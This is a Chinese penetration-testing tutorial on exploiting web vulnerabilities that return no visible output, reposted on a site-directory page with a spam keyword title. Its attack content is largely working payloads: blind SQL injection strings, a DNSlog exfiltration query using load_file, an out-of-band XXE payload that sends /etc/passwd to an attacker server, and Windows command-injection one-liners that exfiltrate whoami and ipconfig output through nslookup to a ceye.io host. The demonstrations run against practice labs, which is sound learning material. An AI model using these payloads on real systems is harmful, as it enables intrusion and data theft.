日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

0x01前言

在滲透測(cè)試過(guò)程中,開(kāi)發(fā)不可能每一次都將結(jié)果輸出到頁(yè)面上,也就是漏洞無(wú)回顯的情況,那么在這種情況下,我們可以通過(guò)DNSlog判斷漏洞存在,或者通過(guò)起一個(gè)Python的http服務(wù)來(lái)判斷,方法很多,下面主要進(jìn)行一些情況的分析。

0x02無(wú)回顯概念

無(wú)回顯,即執(zhí)行的payload在站點(diǎn)沒(méi)有輸出,無(wú)法進(jìn)行進(jìn)一步操作。在滲透測(cè)試過(guò)程中,漏洞點(diǎn)不可能總是能夠在返回頁(yè)面進(jìn)行輸出,那么這時(shí)候就需要進(jìn)行一些無(wú)回顯利用了。

0x03不同漏洞的無(wú)回顯

1、SQL注入無(wú)回顯

SQL注入,作為OWASP常年占據(jù)榜首位置的漏洞,在無(wú)回顯中也是常見(jiàn)的。當(dāng)然SQL注入在無(wú)回顯上已經(jīng)具有了一定的解決措施。
無(wú)回顯我將其定義為頁(yè)面沒(méi)有輸出我們想要得到的內(nèi)容,下面以sqli-labs為例進(jìn)行講解。

1.1 布爾盲注

布爾盲注,盲注的一種,當(dāng)網(wǎng)站通過(guò)查詢語(yǔ)句的布爾值返回真假來(lái)輸出頁(yè)面信息的時(shí)候,查詢語(yǔ)句為真,頁(yè)面輸出內(nèi)容;查詢語(yǔ)句為假,頁(yè)面不輸出內(nèi)容。那么這里就可以通過(guò)構(gòu)造等號(hào)判斷,獲取相應(yīng)的字符的ascii碼,最后還原出數(shù)據(jù)。具體測(cè)試過(guò)程如下:
1、id傳參1之后,頁(yè)面返回有數(shù)據(jù),這里明顯不能進(jìn)行顯錯(cuò)注入了。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、在傳參后面加個(gè)單引號(hào),頁(yè)面返回空,不顯示錯(cuò)誤信息,不能使用報(bào)錯(cuò)注入。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

3、通過(guò)拼接and 1=1和and 1=2,發(fā)現(xiàn)頁(yè)面對(duì)于布爾值的真與假返回的頁(yè)面結(jié)果也不同。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

4、通過(guò)length()函數(shù)判斷數(shù)據(jù)庫(kù)庫(kù)名的長(zhǎng)度大于1。
?id=1’ and length(database())>1 %23

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5、在大于8的時(shí)候頁(yè)面返回空,所以數(shù)據(jù)庫(kù)庫(kù)名長(zhǎng)度等于8。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

6、通過(guò)ascii()函數(shù)和substr ()截取函數(shù)獲取數(shù)據(jù)庫(kù)庫(kù)名的第一個(gè)字符的ascii碼
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
首先用大于號(hào)判斷出大概所處的值,最后使用等于號(hào)驗(yàn)證ascii碼的值。此處得出數(shù)據(jù)庫(kù)庫(kù)名的第一個(gè)字符的ascii碼值為115,對(duì)應(yīng)字符為s。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

7、更改截取的位置,判斷后面的字符對(duì)應(yīng)的ascii碼值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

1.2 延時(shí)盲注

延時(shí)盲注,一種盲注的手法。在滲透測(cè)試過(guò)程中當(dāng)我們不能使用顯錯(cuò)注入、報(bào)錯(cuò)注入以及布爾盲注無(wú)論布爾值為真還是為假,頁(yè)面都返回一樣之后,我們可以嘗試使用延時(shí)盲注,通過(guò)加載頁(yè)面的時(shí)間長(zhǎng)度來(lái)判斷數(shù)據(jù)是否成功。在php中有一個(gè)if()函數(shù),語(yǔ)法為if(exp1,exp2,exp3),當(dāng)exp1返回為真時(shí),執(zhí)行exp2,返回為假時(shí),執(zhí)行exp3。配合延時(shí)函數(shù)sleep()來(lái)獲取相應(yīng)數(shù)據(jù)的ascii碼,最后還原成數(shù)據(jù)。下面我將通過(guò)實(shí)例來(lái)介紹如今進(jìn)行延時(shí)盲注。
1、首先獲取的頁(yè)面如下,后面不論接上布爾值為真還是為假的,頁(yè)面都返回一樣,此時(shí)將不能使用布爾盲注。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、通過(guò)and拼接延時(shí)函數(shù)查看頁(yè)面是否有延時(shí)回顯。首先記錄沒(méi)有使用延時(shí)函數(shù)的頁(yè)面返回時(shí)間,為4.*秒;使用sleep(5)延時(shí)5秒之后,頁(yè)面響應(yīng)時(shí)間為9.*秒,說(shuō)明對(duì)于我們輸入的sleep()函數(shù)進(jìn)行了延時(shí)處理,此處存在延時(shí)盲注。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

3、通過(guò)延時(shí)注入判斷數(shù)據(jù)庫(kù)庫(kù)名的長(zhǎng)度。一個(gè)個(gè)測(cè)試發(fā)現(xiàn)當(dāng)長(zhǎng)度等于8時(shí)頁(yè)面延時(shí)返回了,說(shuō)明數(shù)據(jù)庫(kù)庫(kù)名長(zhǎng)度為8。
?id=2’ and if((length(database())=8),sleep(5),1) %23

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

4、與布爾盲注一樣,將子查詢的數(shù)據(jù)截?cái)嘀笈袛郺scii碼,相等時(shí)延時(shí)5秒。最后得到第一個(gè)字符的ascii碼為115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5、后面替換截?cái)嗟奈恢茫瑴y(cè)試后面的字符的ascii碼值。最后得到對(duì)應(yīng)的ascii碼值為115 101 99 117 114 105 116 121。通過(guò)ascii解碼工具解得數(shù)據(jù)庫(kù)庫(kù)名為security。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

巧用dnslog進(jìn)行SQL注入

前面介紹了SQL注入中的盲注,通過(guò)布爾盲注或者延時(shí)盲注來(lái)獲取數(shù)據(jù)需要的步驟非常繁瑣,不僅需要一個(gè)一個(gè)字符的獲取,最后還需要進(jìn)行ascii解碼,這需要花費(fèi)大量的時(shí)間與精力。為了加快滲透進(jìn)程,以及降低獲取數(shù)據(jù)的難度,這里介紹如何通過(guò)dnslog進(jìn)行SQL注入。

Dnslog

dnslog,即dns日志,會(huì)解析訪問(wèn)dns服務(wù)的記錄并顯示出來(lái),常被用來(lái)測(cè)試漏洞是否存在以及無(wú)法獲取數(shù)據(jù)的時(shí)候進(jìn)行外帶數(shù)據(jù)。簡(jiǎn)單來(lái)說(shuō),dnslog就是一個(gè)服務(wù)器,會(huì)記錄所有訪問(wèn)它的記錄,包括訪問(wèn)的域名、訪問(wèn)的IP以及時(shí)間。那么我們就可以通過(guò)子查詢,拼接dnslog的域名,最后通過(guò)dns日志得到需要的數(shù)據(jù)。

Load_file()函數(shù)

數(shù)據(jù)庫(kù)中的load_file()函數(shù),可以加載服務(wù)器中的內(nèi)容。load_file(‘c:/1.txt’),讀取文件并返回內(nèi)容為字符串,使用load_file()函數(shù)獲取數(shù)據(jù)需要有以下幾個(gè)條件:
1.文件在服務(wù)器上
2.指定完整路徑的文件
3.必須有FILE權(quán)限

UNC路徑

UNC路徑就是類似softer這樣的形式的網(wǎng)絡(luò)路徑。它符合 服務(wù)器名服務(wù)器資源的格式。在windows系統(tǒng)中常用于共享文件。如192.168.1.1共享文件夾名。

Dnslog注入實(shí)例演示

1、打開(kāi)實(shí)例站點(diǎn),很明顯這里是只能使用盲注的站點(diǎn)。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、通過(guò)order by判斷出字段數(shù)為3。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

3、在dnslog網(wǎng)站申請(qǐng)一個(gè)dnslog域名:pcijrt.dnslog.cn

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

4、通過(guò)load_file函數(shù)拼接查詢數(shù)據(jù)庫(kù)庫(kù)名的子查詢到dnslog的域名上,后面任意接一個(gè)不存在的文件夾名。最后將這個(gè)查詢放到聯(lián)合查詢中,構(gòu)造的payload如下:

?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5、執(zhí)行語(yǔ)句之后在dnslog日志中獲取到數(shù)據(jù)庫(kù)庫(kù)名為security。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

6、修改子查詢里的內(nèi)容,獲取其他數(shù)據(jù)。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、XSS無(wú)回顯

XSS無(wú)回顯比較特殊,一般XSS漏洞的判斷標(biāo)準(zhǔn)為彈框,但是有這樣一種情況,在一個(gè)表單提交處,內(nèi)容提交之后只會(huì)在頁(yè)面顯示提交成功與否,不會(huì)輸出提交的內(nèi)容,那么我們也就無(wú)法通過(guò)彈框來(lái)判斷XSS漏洞存在與否。這時(shí)候就需要通過(guò)XSS盲打來(lái)進(jìn)行攻擊。下面通過(guò)Pikachu漏洞練習(xí)平臺(tái)來(lái)進(jìn)行實(shí)例講解:

2.1 XSS盲打

1、如圖這里是一個(gè)提交看法的功能

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、隨便輸入內(nèi)容提交,告訴我們提交成功,沒(méi)有將我輸入的內(nèi)容返回到頁(yè)面中

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

3、登錄后臺(tái)可以看到確實(shí)有數(shù)據(jù)回顯

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

4、輸入彈框語(yǔ)句會(huì)在后臺(tái)成功執(zhí)行

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5、在滲透測(cè)試過(guò)程中我們無(wú)法登錄后臺(tái)進(jìn)行查看,那么就需要盲打XSS,輸入XSS平臺(tái)的payload,坐等管理員查看內(nèi)容后上鉤。

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2.2 通過(guò)dnslog判斷漏洞存在

payload:
<img src=http://xss.t7y3wc.dnslog.cn>
記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

3、SSRF無(wú)回顯

SSRF即服務(wù)端請(qǐng)求偽造,一種由攻擊者構(gòu)造的通過(guò)服務(wù)器發(fā)起請(qǐng)求的攻擊。
測(cè)試代碼如下:

<?php 
    echo file_get_contents($_GET['url']);
?>

首先通過(guò)訪問(wèn)百度可以驗(yàn)證漏洞存在

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

無(wú)回顯情況即不進(jìn)行輸出,頁(yè)面返回空

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

這種情況可以通過(guò)dnslog或者python搭建http服務(wù)驗(yàn)證
1、DNSLOG

http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

2、python起的http服務(wù)

python3 -m http.server 4545
記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

4、XXE無(wú)回顯

因?yàn)閄ML是用來(lái)存儲(chǔ)傳輸數(shù)據(jù)的,除了確實(shí)是業(yè)務(wù)需要,否則開(kāi)發(fā)不可能會(huì)輸出內(nèi)容,也就是說(shuō)你確實(shí)讀取到了文件內(nèi)容,但是沒(méi)辦法看到。XXE無(wú)回顯問(wèn)題當(dāng)然也是可以通過(guò)在域名前面放入查詢出的內(nèi)容,將數(shù)據(jù)通過(guò)dns日志記錄下來(lái)。
XXE雖然不是通過(guò)DNSlog,但是也同樣是外帶數(shù)據(jù)。
流程如下:
在受害者網(wǎng)站中,我們通過(guò)請(qǐng)求攻擊者VPS上的1.xml文件,文件內(nèi)容為將某數(shù)據(jù)放在GET傳參中去訪問(wèn)2.php。然后2.php中的內(nèi)容為保存GET傳參的數(shù)據(jù),將數(shù)據(jù)放入到3.txt中。
具體文件內(nèi)容放在下面,里面的IP地址應(yīng)該為攻擊者的IP地址,這3個(gè)文件也是放在攻擊者VPS上。
1.xml

<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻擊者的IP地址/2.php?id=%file;'>">%all;

2.php

<?php file_put_contents("3.txt",$_GET["id"],FILE_AppEND);?>

3.txt

內(nèi)容空


payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服務(wù)器IP地址/xxe/1.xml">
%remote;
%send;
]>

5、命令執(zhí)行無(wú)回顯

簡(jiǎn)單的命令執(zhí)行站點(diǎn)

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

輸入任何命令都無(wú)回顯

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5.1 Dnslog判斷漏洞存在

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 


記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5.2Dnslog外帶數(shù)據(jù)

5.2.1 獲取windows用戶名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

5.2.2 其他命令執(zhí)行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp

通過(guò)POST傳參測(cè)試

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

傳參的內(nèi)容需要進(jìn)行url編碼

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

Post傳參

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

Dnslog獲取結(jié)果

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

Base64解碼獲取內(nèi)容

記一次PHP滲透測(cè)試實(shí)戰(zhàn)教程

 

總結(jié)

在滲透測(cè)試過(guò)程中,無(wú)回顯是很常見(jiàn)的,程序不可能將一些操作都回顯到頁(yè)面中,那么這種時(shí)候我們就需要外帶數(shù)據(jù)來(lái)獲取想要的內(nèi)容。當(dāng)然最好就是能夠反彈shell,通過(guò)獲取shell來(lái)執(zhí)行命令,這樣會(huì)舒服很多。

無(wú)回顯的情況還有很多很多,這里簡(jiǎn)單介紹了幾種,希望讀者朋友們能夠從中學(xué)到對(duì)于無(wú)回顯的情況下如何進(jìn)行滲透測(cè)試,方法很多,不固定,學(xué)習(xí)思路即可。

分享到:
標(biāo)簽:滲透 PHP
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定